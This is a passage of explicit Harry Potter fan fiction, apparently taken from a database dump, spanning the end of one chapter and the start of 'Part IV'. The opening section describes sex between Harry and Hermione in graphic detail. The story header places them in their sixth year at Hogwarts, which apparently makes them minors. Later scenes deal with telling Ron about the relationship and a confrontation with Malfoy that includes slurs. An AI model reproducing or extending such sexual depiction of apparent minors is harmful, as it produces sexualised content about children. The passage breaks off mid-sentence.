terribly cold but at least it was dry. Better yet, it was completely empty and far enough away from the castle that they didn\'t have to worry about Ron or any of the other Gryffindors finding them. All they had to worry about was the Quidditch match ending and one of the the teams coming back here, but the way things were going, they had a while. Or at least Harry hoped they had a while. <br>\n\n<br> &quot;Six months. They could be out playing for six months,&quot; Hermione stated, in her usual factual manner, as if she was reading his mind. Before he could respond, she pulled his face to hers for a long, deep kiss. Her lips parted under his and he moaned when her tongue danced across his own. He had her pressed up against a wall and he was trying to focus on kissing her while tugging up the bottom of her cloak. Her hands were working on his clothes at the same time and he could tell she was growing impatient.<br>\n\n<br> &quot;I don\'t think we\'ll need six months,&quot; he said when they finally had to break the kiss, both breathless now.<br>\n\n<br> &quot;We might need that much time to get through all the clothes you\'re wearing . . . what do you have on under here?&quot; Hermione said with an exasperated huff, pulling his cloak open. <br>\n\n<br> &quot;It was rather cold out there,&quot; he said, looking down at what she was doing with her hands. &quot;I\'m sure you\'re not just wearing . . . oh.&quot;<br>\n\n<br> Under her cloak, she had only a sweater and a skirt -- and whatever might be underneath that. He was expecting jeans and now Harry knew why she looked so miserable watching the match. His hands went exploring further, hiking up her skirt and feeling her through her cotton knickers. She moaned, her hands dropping away from whatever they were doing. Pushing aside the thin fabric, his fingers circled around just the right spot and she started sinking down the wall. They both ended up on their knees, his eyes locked onto hers, as she rocked against his hand. <br>\n\n<br> Her mouth dropped open a little as her breathing grew shallow. He wanted desperately to kiss her parted lips but then he\'d have to take his eyes off of hers and he didn\'t want to do that. He had seen so many horrible things in his life and he hoped moments like this would overwrite all those bad memories. <br>\n\n<br> She held onto his arms so tight he could feel her nails digging through all the clothes he had on. It was moments like this, when the desire in her eyes tore right through to his heart and when she clung to him so tightly that it was if she was drowning, that he could feel a tiny little stab of fear rise up into his chest. Nothing, after all, could really overwrite the bad memories. Nothing could keep her safe and he knew that just by doing this, he was putting what he loved most at risk. This time, the loss would be unbearble.<br>\n\n<br> &quot;Harry, what is it?&quot; she asked, pushing his hand away and drawing him out of his thoughts. He shook his head but he could tell she knew what he was thinking about. <br>\n\n<br> &quot;I\'m sorry, Hermione. It\'s just . . .&quot;<br>\n\n<br> &quot;Shh . . .&quot; she said, kissing him once again. His hands went to her face, never wanting to let her go. She managed to get through his layers of clothes and down to his jeans, unzipping them slowly. Every sound they made echoed around the empty room and the only other noise was an occasional cheer from the crowd outside. Harry knew that none of the cheers so far were the sound of one team defeating the other. He knew that sound well. <br>\n\n<br> After pulling his jeans and underclothes down just past his hips, Hermione pushed him back until he was lying down and he was quite thankful that he had his cloak on because the floor was very cold. Harry propped himself up on his elbows and watched as Hermione stood and slipped her knickers off, tucking them into her pocket so she could find them quickly. <br>\n\n<br> &quot;What are you going to do to me?&quot; Harry asked, heat radiating through his body just from watching her. <br>\n\n<br> &quot;I\'m going to make you forget about whatever it was you were just thinking of,&quot; Hermione said, crawling up him and straddling his hips. He sighed -- no, moaned -- as she settled down against him, so wet and warm that he could barely stand waiting another second even though she wouldn\'t let him in just yet. She ran her fingers through his hair, brushing aside his bangs. Now she sighed, her fingers brushing lightly over his scar. &quot;There are things not even I can make you forget, aren\'t there?&quot; <br>\n\n<br> &quot;You\'ve come the nearest yet by far to erasing all of it,&quot; he said.<br>\n\n<br> &quot;There are ways . . . but I don\'t want you to forget it all,&quot; she said and he gave her a quizzical look. &quot;You wouldn\'t be you anymore. You wouldn\'t be Harry Potter. Besides, you don\'t want to forget it all. You just want it to go away for a while.&quot;<br>\n\n<br> &quot;If people forget, if I forget, it will never end and . . . &quot; Harry started to say but she sank down, taking him in as far as he could go. Harry waited for an expression of discomfort to cross her face but it never came. With a gentle push, he was on his back again as Hermione took his hands in hers, fingers wrapped tightly together. He kept staring at Hermione and realized exactly why she was his best friend -- she always knew exactly what he needed. <br>\n\n<br> As soon as she started moving, all his thoughts turned to where they were joined and how amazing it felt to lie there and do nothing but watch her. If only she didn\'t have on so much clothes, it would be perfect. Absolutely bloody perfect. <br>\n\n<br> &quot;Harry?&quot; Hermione asked while she kept moving over him. He had to work to focus on her. <br>\n\n<br> &quot;Hm?&quot; was all he could manage to get out. <br>\n\n<br> &quot;Do you think you could . . . can you . . . oh, here,&quot; she said, unable to get the words out. She pushed her skirt aside and pulled his hand down until his fingers were at the apex of her sex. &quot;Can you do that again?&quot; <br>\n\n<br> &quot;Er-- anything,&quot; he said, trying to remember exactly how he touched her last time and quickly discovered that anything close seemed to work brilliantly. Hermione moaned softly, her tongue brushing slowly across her lower lip before she started moving again. Her pace was faster now and Harry could barely concentrate on everything all at once. He had to make her happy -- he couldn\'t stop moving his fingers against her. She deserved to be happy because she truly did make him forget. <br>\n\n<br> &quot;Anything . . . I\'d do . . .&quot; she mumbled words that meant nothing and everything all at once. <br>\n\n<br> &quot;Me, too,&quot; he said before she could go on, squeezing her one hand in his. &quot;What were the plans, Hermione? What were the ones I missed?&quot;<br>\n\n<br> &quot;This. This was the plan. You . . . in here . . . after the match,&quot; she said, barely able to get the words out. <br>\n\n<br> &quot;I would have liked that . . . I mean, I do like that. Now,&quot; he said, the dark room spinning around him and he tried to keep his eyes on Hermione moving above him. Her long hair swayed with each movement and it made it hard to see her face. <br>\n\n<br> Neither said another word for a long while until the constant rumble of the crowd out at the Quidditch pitch grew into a riot of screaming and cheering. <br>\n\n<br> &quot;Bloody hell!&quot; Harry said, his eyes opening wide. &quot;It\'s over. Someone won.&quot;<br>\n\n<br> &quot;How close are you?&quot; Hermione asked and he couldn\'t believe she was taking the time to ask instead of getting off of him and fixing her clothes. Plans or no plans, she couldn\'t be serious.<br>\n\n<br> &quot;Hermione!&quot;<br>\n\n<br> &quot;How close?&quot; she asked, sinking down as far as she could and tightening all her inner muscles around him. At that point, her question became moot as his body went into spasms, emptying everything into her. <br>\n\n<br> &quot;That close,&quot; he managed to say, gasping for breath. &quot;How \'bout you then?&quot;<br>\n\n<br> &quot;Don\'t stop . . .&quot; she said and he didn\'t. His fingers circled faster and harder and he could hear a crowd of people coming this way but he didn\'t stop until she finally came, her body quaking over and around his. Her eyes never left his and he was in awe of how beautiful she was right at this moment. This he never would want to forget. <br>\n\n<br> &quot;Hermione, we better . . .&quot; <br>\n\n<br> He couldn\'t get the words out before she was up and off of him and smoothing out her skirt. Apparently, there was no time for her knickers for she reached out a hand to him and helped him off the floor. He carefully tucked everything back in and watched as she made a face. <br>\n\n<br> &quot;Do you think anyone can tell?&quot; she asked, looking concerned. <br>\n\n<br> &quot;If we get out of here, no one will know. Come on,&quot; he said, pulling her towards the door. Before they could reach it, the door flew open and the Ravenclaw team came streaming in, looking rather triumphant. Harry came face to face with a happy but confused Cho Chang. <br>\n\n<br> &quot;What are you doing in here?&quot; Cho asked suspiciously, looking Harry over from head to toe. It was only then that Harry realized he was still holding Hermione\'s hand in his and he dropped it quickly. <br>\n\n<br> &quot;Nothing. I was . . . I forgot something during our last practice and I . . . you won?&quot; he asked, hoping to change the conversation. He glanced over at Hermione, who now had her arms crossed in front of her, looking unhappy . . . and a bit tousled. What they were doing had to be obvious to everyone by now. <br>\n\n<br> &quot;We won and next we\'re going to beat Gryffindor so you better prepare your team for defeat, Potter,&quot; said some player Harry hardly knew and the Ravenclaw team burst into a boisterous whoop of agreement. <br>\n\n<br> &quot;Er -- congratulations, Cho,&quot; Harry mumbled before he and Hermione dodged around the lot of them and made their way out of the changing room. People were streaming back to the castle and Harry and Hermione managed to blend in with the crowd. <br>\n\n<br> &quot;Do you still like her?&quot; Hermione asked, her voice barely loud enough for him to hear over the crowd. <br>\n\n<br> &quot;What? Who?&quot; Harry asked. <br>\n\n<br> &quot;Cho. Do you still like her?&quot; she asked again.<br>\n\n<br> &quot;Hermione, why would you ask that? Especially right after . . . you know,&quot; Harry asked, looking around to see if anyone was listening. Hermione didn\'t answer right away. Instead, she continued to look unhappy and lost in her thoughts. <br>\n\n<br> They were nearly to the castle before she spoke again. &quot;In the next few weeks, there\'s another trip to Hogsmeade planned. I\'d like to be able to go with you and have you not drop my hand if someone sees us together. I\'d like to go with my boyfriend and not just my best friend.&quot;<br>\n\n<br> &quot;What are you saying?&quot; Harry asked and Hermione rolled her eyes. <br>\n\n<br> &quot;What I\'m saying is you better figure out a way to tell Ron before then or I will,&quot; she answered. She stomped off into the castle by herself, leaving Harry standing out in the cold, wondering how his day turned out like this. <br>\n\n<br> ************<br>\n\n<br> &quot;Harry, wait up!&quot; <br>\n\n<br> Harry stopped his trek across the lawn to the Quidditch pitch and turned to find Ron racing after him. He shifted him broom from one hand to the other and pulled his cloak tighter around him. <br>\n\n<br> &quot;What\'s the problem?&quot; Harry asked once Ron was near. It was too early on a Saturday morning for anyone to be out who didn\'t need to be. Besides that, it was bitterly cold and after running, Ron was now struggling to catch his breath, panting out huge puffs of white air. <br>\n\n<br> &quot;I . . . I just wanted to talk to you about something,&quot; Ron said.<br>\n\n<br> &quot;You couldn\'t find a warmer place to talk?&quot; Harry asked, unable to feel his toes despite the thick socks he had on. <br>\n\n<br> &quot;You\'re never around much. You\'re always working on homework or practicing or . . . with Hermione,&quot; Ron said. The look on his face tugged at Harry\'s insides. He knew he had been avoiding Ron the last few weeks but that\'s only because he was afraid to tell him the truth. He was going to have to do it soon. <br>\n\n<br> &quot;You\'ll have to walk with me. I wanted to get in a few minutes on my broom alone,&quot; Harry said and they both continued across the lawn. Ron said nothing and Harry was beginning to wonder exactly what was on his mind. &quot;All right then. What\'s this about?&quot;<br>\n\n<br> &quot;Colin had some pictures that he took recently developed and last night while you and Hermione were studying, a group of fifth and sixth years were laughing at one in particular,&quot; Ron said and Harry had no clue what he was getting at. <br>\n\n<br> &quot;So?&quot; <br>\n\n<br> &quot;I asked to see it and . . . Harry, this is the picture,&quot; Ron said, pulling it out of his cloak and handing it to Harry. What he saw made Harry stop walking and in a step or two, Ron realized he wasn\'t keeping up with him and turned around. &quot;I told everyone there was probably an explanation for it but Lavender seemed to think she knew the explanation already.&quot;<br>\n\n<br> Harry stared at the picture of Hermione and him sitting out in the cold at the Quidditch match. Despite the fact that they weren\'t snuggling and kissing when the picture was taken, they surely were in this wizard picture. Harry could have kicked himself for not thinking about that when Colin asked to take their picture. He sucked in a deep breath and let it out slowly, knowing he had to tell Ron the truth and now was as good a time as any. <br>\n\n<br> &quot;There is an explanation,&quot; Harry said, watching as the Hermione in the picture brushed her hand through his hair just as the real Hermione often did. It sent a warm tingle through him and he looked away from the photograph.<br>\n\n<br> &quot;I knew there had to be one. I told Lavender she was daft for thinking . . .&quot;<br>\n\n<br> &quot;Hermione and I have been seeing each other since Christmas,&quot; Harry said, cutting Ron off. Ron looked at him as if he didn\'t actually hear what he said and maybe he hadn\'t. &quot;Actually, more like right after the New Year. Almost two months but not quite . . .&quot;<br>\n\n<br> &quot;What?&quot; Ron asked, his voice wavering a little. <br>\n\n<br> &quot;Ron, Hermione is my girlfriend,&quot; Harry said, choosing to look down at his feet instead of having to face his friend. Ron took a step backwards. A silence hung between them for quite a while and Harry thought for a moment that maybe this wasn\'t going to be as bad as he had thought. That moment didn\'t last for long. <br>\n\n<br> &quot;Oh, bloody hell! And why not? You\'ve got everything already, Harry. Why not one more thing? You\'ve got the fame and fortune and everything you do always works out for the best so why the hell shouldn\'t you have the girl, too, right?&quot; Ron said, going from confused to angry rather quickly. <br>\n\n<br> &quot;It\'s not like that. Hermione isn\'t a prize to be had . . .&quot; Harry said, looking up now to find Ron\'s face all red with anger. His reaction was making Harry angry, too. <br>\n\n<br> &quot;Easy for you to say. You\'re the one who has her,&quot; Ron said, his voice growing louder. Harry looked around to see if anyone else was out this early in the morning and indeed there was. Streaming out of the castle were a few other members of Gryffindor team, each with the same idea as him. <br>\n\n<br> &quot;I don\'t have . . . Hermione isn\'t a possession . . . she\'s not one who . . .&quot; Harry tried explaining himself but his tongue kept tripping over the next word. Ron knew Hermione as well as he did (almost) and he had to understand that someone as headstrong as Hermione wasn\'t someone that could be had. <br>\n\n<br> &quot;You could have any girl, Harry, so why\'d you go and do this? Girls . . . women, even . . . I\'ve seen how they look at you. You could have them all . . .&quot;<br>\n\n<br> &quot;I couldn\'t have Cho so that\'s not exactly true,&quot; Harry said, cutting Ron off again but it didn\'t last for long.<br>\n\n<br> &quot;. . . Instead, you do this. Why, Harry?&quot; Ron asked and Harry thought for a second that his friend was going to start crying but he didn\'t. He just sniffed and grabbed the picture out of Harry\'s hand. <br>\n\n<br> &quot;Because I love her,&quot; Harry answered. There was no other reason. He loved her and nothing else mattered. Not his so called fame or all the galleons he had saved up in Gringott\'s bank. Ron could be as angry as he wanted to be but that wasn\'t going to stop him from loving her. <br>\n\n<br> The few other Gryffindor team members had finally caught up to them and the newest member of the team, a second year girl named Zoila Witherite, asked in a very concerned voice, &quot;Is everything all right, Harry?&quot; <br>\n\n<br> &quot;It\'s fine. I\'ll just be a few minutes,&quot; Harry said, waving her on. They all started walking towards the pitch again and Zoila turned back to look at him. <br>\n\n<br> &quot;There\'s another one you could have,&quot; Ron said rather sarcastically. Harry looked at Ron whose face was still an unbelievable shade of crimson and Harry was sure his was the same color by now. He didn\'t have time for this. He had a team waiting for him and a big match in a few weeks and he couldn\'t deal with a pouting and unhappy Ron right at the moment. <br>\n\n<br> &quot;She\'s only twelve years old . . . damn good on a broom, though . . . and . . . I\'m not going to fight with you about this now. I don\'t have much time . . .&quot;<br>\n\n<br> &quot;You didn\'t even bother to ask me if I wanted to practice. Afraid I\'d find out the truth?&quot; Ron asked. <br>\n\n<br> &quot;Goodbye, Ron,&quot; Harry said, leaving him behind and dashing as quickly as he possibly could to the Quidditch pitch. <br>\n\n<br> ************<br>\n\n<br> Hermione put her book down and sighed. &quot;Are you going to study?&quot;<br>\n\n<br> &quot;I don\'t know,&quot; Harry answered, opening and then closing the book before him. He sighed, picking up his quill and playing with it instead of actually writing something down on the scroll in front of him.<br>\n\n<br> &quot;You have to talk to him,&quot; Hermione said before picking up a different book and searching through it. &quot;I can\'t work with you sitting around here sighing. My marks are suffering as it is because of you and now I have to catch up.&quot;<br>\n\n<br> &quot;You\'re going to blame me for your marks?&quot; Harry asked, pulling Hermione\'s latest essay out of her bag and looking at it. &quot;You nearly got a perfect mark!&quot;<br>\n\n<br> &quot;Nearly. That\'s not good enough,&quot; Hermione said, grabbing the scroll back from him. Harry sighed again and she gave him a nasty look. &quot;I\'ve been letting you interrupt my study time for a while now and it\'s showing in my work. You have to make up with Ron so I can get some studying done.&quot;<br>\n\n<br> &quot;I thought you liked it when I came up with interruptions,&quot; Harry said, leaning in closer to her. Hermione closed her eyes and let out a breath of exasperation. Their last \'interruption\' involved a dark closet and an hour of lost study time. <br>\n\n<br> &quot;I do love your interruptions but I have to get this done. Either work or find something else to do,&quot; Hermione said, opening her eyes and giving him a pleading look. <br>\n\n<br> &quot;What should I say to him?&quot; Harry asked. He really didn\'t even know how to approach Ron at this point. How much he should tell him was another issue he wasn\'t too sure of. <br>\n\n<br> &quot;Tell him you miss him and that I\'ve tossed you out on your ear. Tell him whatever it is you want to tell him. But please tell him soon,&quot; Hermione said, growing more frustrated with him as each minute passed. <br>\n\n<br> &quot;I could go visit Hagrid. I haven\'t been to see him in a long while,&quot; Harry said, beginning to pack up his books. <br>\n\n<br> &quot;I saw Ron go into his hut earlier this afternoon.&quot;<br>\n\n<br> &quot;Or maybe I\'ll just go to bed. Care to join me?&quot; he asked, lowering his voice so the table of Hufflepuffs next to them wouldn\'t hear. It was one thing if the entire school knew they were dating but he wasn\'t sure the was ready for everyone to find out that they were doing more. <br>\n\n<br> &quot;Harry . . . I love you. I love you a lot. Now please go away,&quot; Hermione said, her voice no louder than his. <br>\n\n<br> Harry gathered up his books and supplies and, coming around the table, gave his girlfriend a kiss. It was their first in such a public place and the students around them all grew silent as they waited for Madam Pince to come over and tell them off for kissing in her library. Before that could happen, Hermione blushed and buried her nose deeper into her book as Harry quickly left the library smiling. <br>\n\n<br> ************<br>\n\n<br> Harry stepped through the portrait hole into the Gryffindor common room and saw Ron sitting alone on the couch in front of the fire. Harry had hoped that Ron would still be visiting Hagrid or in bed already but they couldn\'t avoid each other much longer. <br>\n\n<br> &quot;I knew you\'d be upset,&quot; Harry said, putting his books down on the table before sitting on the couch next to Ron. <br>\n\n<br> &quot;How\'d you ever guess?&quot; Ron said, not hiding any of his disappointment in his voice. He didn\'t turn to look at Harry but instead continued to stare at the fire. <br>\n\n<br> &quot;I don\'t know. Maybe because you haven\'t spoken to either of your best friends in two weeks,&quot; Harry answered. <br>\n\n<br> Ron looked over his shoulder and then back at Harry. &quot;Speaking of my \'friends,\' where is Hermione? I thought you two were inseparable?&quot;<br>\n\n<br> &quot;She\'s still in the library studying.&quot;<br>\n\n<br> &quot;I\'m not upset about you and Hermione --&quot;<br>\n\n<br> &quot;Ron . . .&quot;<br>\n\n<br> &quot;I\'m still trying to get used to the idea and all but I think what bothers me more is that you couldn\'t tell me the truth. You and Hermione lied to me, Harry and I\'m not sure whether it was to protect me or to protect yourselves,&quot; Ron said, turning to look at Harry. The firelight was dancing across his face, making it hard for Harry to read his features. <br>\n\n<br> &quot;I\'m sorry,&quot; Harry said softly. He didn\'t really know what else to say. There was a time in his life he wouldn\'t have apologized but this time, he knew he should have told Ron. He knew Ron was perfectly within his rights to be upset about that. A silence hung between them for a long while, punctuated only by the crackling fire. Harry really wanted to slink away up to his bed but instead he sat there under Ron\'s penetrating gaze. <br>\n\n<br> &quot;You do know how much I liked her, right? You\'re not so blind as to have missed that?&quot; he asked. <br>\n\n<br> &quot;I . . . I figured after Hermione started dating that Muggle boy that you\'d realize . . .&quot;<br>\n\n<br> &quot;That she didn\'t like me in the same way?&quot;<br>\n\n<br> &quot;I guess so,&quot; Harry said, turning to watch the fire again. <br>\n\n<br> &quot;You know there was a time when she did,&quot; Ron said thoughtfully. <br>\n\n<br> &quot;You were fourteen then. People change,&quot; Harry said with a shrug. <br>\n\n<br> &quot;Obviously.&quot;<br>\n\n<br> &quot;We didn\'t plan this,&quot; Harry said, nearly laughing at his words. &quot;Or rather, we didn\'t plan for *us* to happen. She wanted to . . . and something happened and we did . . . we had . . .&quot;<br>\n\n<br> &quot;I don\'t want to know what you two have done,&quot; Ron said, putting a hand up before Harry could go further. &quot;Just promise me that you won\'t hurt her. Or get her killed. If something happens to her because of who you are, I\'ll . . . I\'ll kill you.&quot;<br>\n\n<br> Harry knew he didn\'t mean it and that Ron was angry but the words stung anyway. <br>\n\n<br> &quot;Ron, I love her . . .&quot; Harry said and Ron blanched at his words. &quot;She\'s one of my best friends and you\'re the other. I would never let anything happen to you. Besides, you wouldn\'t have to kill me. Believe me when I say to get to Hermione, they\'d have to kill me first.&quot;<br>\n\n<br> &quot;But people have died around you and you couldn\'t do a bloody thing to stop it,&quot; Ron said, his voice filling with anger. The implication that he wouldn\'t do everything in his power to stop such a thing was making Harry quite angry himself. <br>\n\n<br> &quot;I\'ve changed a lot in the last few years. I\'m a far better wizard now and . . . and there are things Dumbledore has done to assure our safety here at Hogwarts that I can\'t even begin to explain,&quot; Harry said, trying to gain some control over his emotions. <br>\n\n<br> &quot;What about when she goes home?&quot; Ron asked and Harry shook his head. <br>\n\n<br> &quot;What could possibly happen to her at home?&quot; Harry asked. After the summer with the dementors sent by Delores Umbridge, nothing had happened again at the Dursleys and in looking back, his summer holidays would have been the easiest time to do something to him. He always figured it wouldn\'t make a bold enough statement, though, attacking him as he pulled weeds in Aunt Petunia\'s garden. Voldemort would want to make a show of it and a show of him in front of other wizards, not just the common Muggles on Privet Drive. Still, Harry could only imagine the look on Uncle Vernon\'s face if the Death Eaters all arrived at once on the front doorstep and . . .<br>\n\n<br> &quot;You won\'t be with her this summer,&quot; Ron said, interrupting Harry\'s thoughts. &quot;You won\'t be able to protect her if you\'re locked in a bedroom with the Dursleys.&quot;<br>\n\n<br> &quot;If it comes to that, I\'ll do anything . . . I\'ll break all the Ministry\'s rules about being underage and using magic. I\'ve done it before and I\'ll do it again. There\'s nothing I wouldn\'t do for her, Ron. Please trust me. This isn\'t just some fling and I love her more than I\'ve ever loved anyone in my life and there\'s no way Voldemort\'s going to hurt her. I\'d die first . . .&quot; Harry repeated. <br>\n\n<br> &quot;I don\'t want that . . .&quot;<br>\n\n<br> &quot;Do you think I do? Do you think my mum wanted to die? She did it because she loved me and I love Hermione and I would never let anything happen to her just as I would never let anything happen to you,&quot; Harry said followed by another long silence.<br>\n\n<br> &quot;It\'s going to take a while for me to get used to this. I\'m not sure I\'m ready to see the two of you together as boyfriend and girlfriend. I\'m not so sure I want to know anything that . . . you know,&quot; Ron said and Harry nodded. <br>\n\n<br> &quot;There\'s a trip into Hogsmeade in two more weeks. Do you think the three of us could go as friends like we used to?&quot; Harry asked. <br>\n\n<br> &quot;I don\'t know. We\'ll just have to wait and see. And Harry, Hermione or you better talk to Ginny, too. She always had the biggest crush on you and she didn\'t see this coming. I guess the whole Weasley family was blind to the obvious,&quot; Ron said, his face twisting up.<br>\n\n<br> &quot;It wasn\'t that obvious. It just . . . happened,&quot; Harry said. <br>\n\n<br> &quot;Things always seem to just happen to you,&quot; Ron added, jealousy seeping into his voice again.<br>\n\n<br> &quot;They\'re not always good things. You don\'t know what I would have given to have grown up in a house like yours with a mum and a dad and . . . I don\'t get everything, Ron. I spent years locked away in a cupboard and nothing will ever make up for that. Coming to Hogwarts and meeting you and Hermione comes close, but all those years . . . nothing will ever change them,&quot; Harry said, opening up to Ron far more about his early childhood than he had in a long time. Ron\'s expression grew slightly softer and he opened his mouth to say something but changed his mind. &quot;If I hadn\'t met you and Hermione, who knows what would have become of me.&quot;<br>\n\n<br> &quot;You\'d be one bloody awful wizard,&quot; Ron said with a smirk. <br>\n\n<br> &quot;But I bet I could still handle a broom better than anyone,&quot; Harry added and Ron objected quickly while Harry firmly stood his ground on that point. Watching as his friend told him all the reasons he was better on a broom, Harry realized that eventually, it might just all be fine between them. <br>\n\n<br> ************<br>\n\n<br> To Be Continued . . .<br>\n\n</p>\n\n '),
	(18, 4, ' <p>Harry Potter and the Infernal Plan Part IV<br> by Jori<br>\n\n<br> REVISED July 2003<br>\n\n<br> e-mail: Jori@netroenterprises.com<br>\n\n<br> Set during and after their sixth year at Hogwarts, Hermione asks something of Harry that will change their lives forever. <br>\n\n<br> NC-17<br>\n\n<br> Spoilers for all five books. Most of this was originally written well before Order of the Phoenix came out but I decided to go back and do some edits. Some were very necessary while others were more cosmetic.<br>\n\n<br> H/Hr story<br>\n\n<br> This story is based on characters and situations created and owned by JK Rowling, various publishers including but not limited to Bloomsbury Books, Scholastic Books and Raincoast Books, and Warner Bros., Inc. No money is being made and no copyright or trademark infringement is intended.<br>\n\n<br> ***********<br>\n\n<br> It was the day of their outing to Hogsmeade and Harry and Hermione were waiting for Ron outside of the castle. He was fifteen minutes late and Hermione was growing more frustrated with each passing second. <br>\n\n<br> &quot;Are you sure they\'re coming?&quot; she asked once more. Harry nodded like he did the last two times she asked. The weather had cleared up quite nicely in the past few weeks and he was just happy to be outside without cold rain coming down. It would have been a great day for his team to practice Quidditch but Hermione insisted they were going to Hogsmeade together with Ron. Ginny decided she wanted to come along with them, too. At least that way no one would be comfortable, Harry thought. &quot;I\'m going to find them --&quot;<br>\n\n<br> Before she could finish, Ron came out of the castle doors looking rather sullen. &quot;You ready then?&quot; he asked, not really looking at either of them but rather off in the distance. <br>\n\n<br> &quot;Where\'s Ginny?&quot; Harry asked. <br>\n\n<br> &quot;She changed her mind and decided to go with her friends,&quot; Ron said, putting all the emphasis on the word \'friends.\'<br>\n\n<br> &quot;That\'s good, I guess,&quot; Harry said, looking at Hermione. She shrugged her shoulders and sighed about the whole thing. While Ron had his moments where everything was fine between all of them, Ginny was still acting quite cold about the whole matter. She had gotten over her crush on Harry years ago but she was upset that neither of them told her they were together.<br>\n\n<br> &quot;I guess,&quot; Ron said, dismissing the topic. <br>\n\n<br> They walked most of the way in silence, Hermione\'s hand occasionally brushing up against Harry\'s. Each time that happened, Ron looked away. By the time they reached the town, Hermione looked rather distraught and Harry was beginning to think that Quidditch practice would have definitely been a better idea. <br>\n\n<br> &quot;Where would you like to go first?&quot; Harry asked needlessly. Ron was ahead of the group, leading them in the direction of Honeyduke\'s. <br>\n\n<br> &quot;At least he\'s predictable,&quot; Hermione leaned close and whispered and Harry grinned. Ron turned around right then and rolled his eyes at them.<br>\n\n<br> &quot;If you two want to hold hands or snog or whatever it is you do, just go right on and do it. Pretend I\'m not even here,&quot; Ron said, turning away from them. Hermione and Harry looked at each other and quickened their pace until one was standing on either side of Ron. <br>\n\n<br> &quot;I don\'t know what you think, Ron, but we are the same people as before. We\'re still your best friends and we don\'t spend all our time doing . . . whatever it is you think we do,&quot; Hermione said and Ron looked from her to Harry.<br>\n\n<br> &quot;She\'s right. That\'s why we wanted you to come with us today,&quot; Harry added. <br>\n\n<br> &quot;We don\'t want you to feel like you\'re a third wheel. You\'re not. We\'re here as friends just like always,&quot; Hermione said. <br>\n\n<br> Ron didn\'t say anything but instead, disappeared into the crowd of Hogwarts\' students inside of Honeyduke\'s. <br>\n\n<br> &quot;That went well,&quot; Harry said sarcastically. He could finally take Hermione\'s hand in his and she gave his a gentle squeeze of reassurance. &quot;He\'s fine when we\'re alone together -- or at least I thought everything was fine. I don\'t know why he\'s being so odd today.&quot;<br>\n\n<br> &quot;He was okay when we worked on our homework together last night. It will take some time, that\'s all. The two of you will be the best of friends again in no time. We all will be,&quot; Hermione said.<br>\n\n<br> &quot;I suppose so,&quot; Harry said, staring through the window at Ron who was laughing away about something with Dean Thomas at his side. Hermione took Harry\'s hand and pulled him inside. The door had barely closed behind them when they were approached by Draco Malfoy. Behind him stood Crabbe and Goyle, like always. <br>\n\n<br> &quot;So it\'s true then? You and Granger really are fucking?&quot; Malfoy asked rather loudly despite his foul language, not hiding the disgust in his voice. The whole place fell quiet as if they were waiting for an answer. Harry stepped in front of Hermione before she could get to Malfoy, scared that she might do him some serious harm. <br>\n\n<br> &quot;I don\'t think that\'s any of your business,&quot; Harry said. By now, most of the students had gathered around them waiting to see what was going to happen next. Harry\'s eyes met Ron\'s briefly and Ron looked as if he were afraid that he might actually answer Malfoy\'s question with an answer he didn\'t want to hear. <br>\n\n<br> &quot;Everything you do always seems to be everyone\'s business, Potter. Why should who you do be any different?&quot; Malfoy asked. By now there was no way he could keep Hermione calm. Before Harry really knew what happened, she was no longer behind him and he could feel the anger rolling off of her. <br>\n\n<br> &quot;You never cared this much about anyone I\'ve been with in the past. Why should this concern you?&quot; Hermione said, controlling her voice the best she could. &quot;Maybe you\'re just jealous that Harry has a girlfriend while all you have is Crabbe and Goyle . . . though I imagine that might be just what you like . . .&quot;<br>\n\n<br> &quot;Shut up, you whoring little mudblood!&quot; Malfoy said while all the students from any house other than Slytherin giggled and whooped at what Hermione had just implied. Crabbe and Goyle had even tried slinking off somewhere before they could be at the receiving end of more barbs but one look from Malfoy stopped them. <br>\n\n<br> &quot;Shut up, Malfoy. You can\'t talk about Hermione like that,&quot; Ron said and Harry turned around to look at him. Ron didn\'t meet his glance, never taking his eyes off of Hermione.<br>\n\n<br> &quot;I can\'t believe she\'s good enough for the likes of you, Potter,&quot; Malfoy said, ignoring Ron completely. &quot;The famous Harry Potter is going to settle for a Muggle-born girl. I suppose if it was good enough for your father . . .&quot;<br>\n\n<br> &quot;This has nothing to do with my parents . . . or hers,&quot; Harry said. He couldn\'t help but notice that Hermione flinched when Malfoy commented that he was settling. This was what she was afraid people would say even though she knew he didn\'t feel that way. Harry slipped his arm around Hermione\'s and pulled her to his side. &quot;I want to be with Hermione and I don\'t care about anything else.&quot;<br>\n\n<br> Harry turned to look at Hermione and then at Ron but his friend was walking away. <br>\n\n<br> &quot;Looks like someone else wanted to be with her, too,&quot; Malfoy said in a whisper, stepping closer to Harry. &quot;You should have let him have her. You\'re better than this . . .&quot;<br>\n\n<br> &quot;I said I want to be with Hermione and I meant it. Now if you\'ll excuse us, we have things to do,&quot; Harry said, taking Hermione\'s hand in his, trying to escape Malfoy and the crowd that had gathered around them. The only way to do that was to leave the store. <br>\n\n<br> He and Hermione wandered around Hogsmeade for a while in silence. He squeezed her hand a few times but she didn\'t say or do anything back. <br>\n\n<br> &quot;I meant it, you know,&quot; Harry finally said as they approached The Three Broomsticks. &quot;It doesn\'t matter what Malfoy says. I do want to be with only you.&quot;<br>\n\n<br> &quot;I know . . . it\'s just hard hearing the things he said. I tell myself it doesn\'t matter what people think and that it only matters what you think but to hear it spoken. . .&quot; she said, her voice trailing off. Harry knew she was still thinking about Malfoy\'s words and he couldn\'t imagine how this day could get any worse at this point. <br>\n\n<br> &quot;You know better than to listen to anything Draco Malfoy says. You know it, Hermione,&quot; Harry pleaded and Hermione only nodded as they went inside to get a drink. <br>\n\n<br> **************<br>\n\n<br> The day at Hogsmeade wasn\'t exactly what Harry had planned and he didn\'t see Ron again after he disappeared from Honeyduke\'s. Harry spent the rest of his time in the village drinking butterbeer with Hermione, both avoiding the topic of Draco Malfoy. The other students that came in looked at them with amusement, as if they thought this might have been going on for a long time and now everything was confirmed. After a while, Hermione went off to Dervish and Banges with Parvati and Padma to get some supplies and he came back to the castle alone. <br>\n\n<br> The early evening air was growing quite cold and Harry was standing outside of Hogwarts, watching Hedwig soaring overhead. Clouds were gathering in the sky and he momentarily lost sight of her against all the white. It was then that he saw her diving towards the ground to catch something. Harry hoped whatever it was, she didn\'t feel like sharing.<br>\n\n<br> Eventually, Hedwig was back soaring around (with no special treat clutched in her talons) and Harry put his arm out, calling her back to him. In less than a minute, she was on his arm, gently nipping at his wrist, quite pleased to see him. <br>\n\n<br> &quot;I know. I\'m sorry I\'ve been ignoring you lately, Hedwig, it\'s just . . . well, things are different,&quot; Harry said and Hedwig blinked her big eyes at him knowingly. &quot;The good news -- or maybe the bad news -- is it looks like you and I will be spending 